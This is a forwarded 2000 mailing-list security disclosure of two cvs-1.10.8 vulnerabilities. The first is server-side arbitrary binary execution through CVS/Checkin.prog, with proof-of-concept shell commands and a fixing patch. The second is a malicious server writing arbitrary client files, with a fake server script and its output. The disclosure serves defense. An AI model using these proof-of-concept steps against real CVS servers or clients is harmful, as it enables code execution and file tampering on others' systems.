This looks like a serious security problem. It appears to open
anonymous CVS servers to a wide range of attack.
------- Start of forwarded message -------
To: [EMAIL PROTECTED]
Date: Fri, 28 Jul 2000 17:21:28 +0900
From: Tanaka Akira <[EMAIL PROTECTED]>
Subject: cvs security problem
I found two security problems in cvs-1.10.8.
(1) A committer can execute any binary in server using
CVS/Checkin.prog or CVS/Update.prog.
A committer can execute arbitrary binary on a cvs server using
Checkin.prog. Usually CVS/Checkin.prog in a working directory is
copied from CVSROOT/modules when the directory is checkouted and it is
sent back to the server and executed with committing. Note that when
it is executed, committed files are exsists in a current directory.
Since a working directory can be modified by a committer which have
the working directory, Checkin.prog may be modified or even newly
created. If an evil committer do it, cvs server executes such forged
Checkin.prog. Also note that the evil committer can create arbitrary
binary file by `cvs add -kb' and `cvs commit'. So the evil committer
can execute just committed binary file by via Checkin.prog triggerd by
the `cvs commit'.
Note that similar problem exists with CVS/Update.prog.
Following example is that a committer sends `ls' binary and executes
in the server. (it assumes that the server and the client is same
% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
Checking in binary;
/tmp/cvs/somemodule/binary,v <-- binary
initial revision: 1.1
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
This problem can be fixed by disabling two requests.
- --- server.c- Fri Apr 28 15:37:13 2000
+++ server.c Fri Apr 28 15:38:06 2000
@@ -4553,8 +4553,6 @@
REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
REQ_LINE("Static-directory", serve_static_directory, 0),
REQ_LINE("Sticky", serve_sticky, 0),
- - REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
- - REQ_LINE("Update-prog", serve_update_prog, 0),
REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
REQ_LINE("Kopt", serve_kopt, 0),
REQ_LINE("Checkin-time", serve_checkin_time, 0),
(2) cvs server can instruct to create any file at any locaiton in
With cvs protocol, client side paths are processed by server and
client blindly trusts paths in server responses, cvs server can create
any file at any locaiton in client machine.
For example, if a client tries to checkout a module `tst' as:
% cvs -f -d :ext:user@server:/cvsroot co tst
and server includes a dangerous response as follows to its responses,
the cilent creates /tmp/foo.
This problem can be test yourself as follows. Although this example
runs faked cvs server using :ext: method, this vulnerability is
available in any methods (including :pserver: of course).
% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot
Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified
Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx
Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt
expand-modules ci co update diff log add remove update-patches gzip-file-contents
status rdiff tag rtag import admin export history release watch-on watch-off watch-add
watch-remove watchers editors init annotate noop
E cvs server: Updating tst
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
- -rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
Currently, I don't have a patch to fix this problem.
------- End of forwarded message -------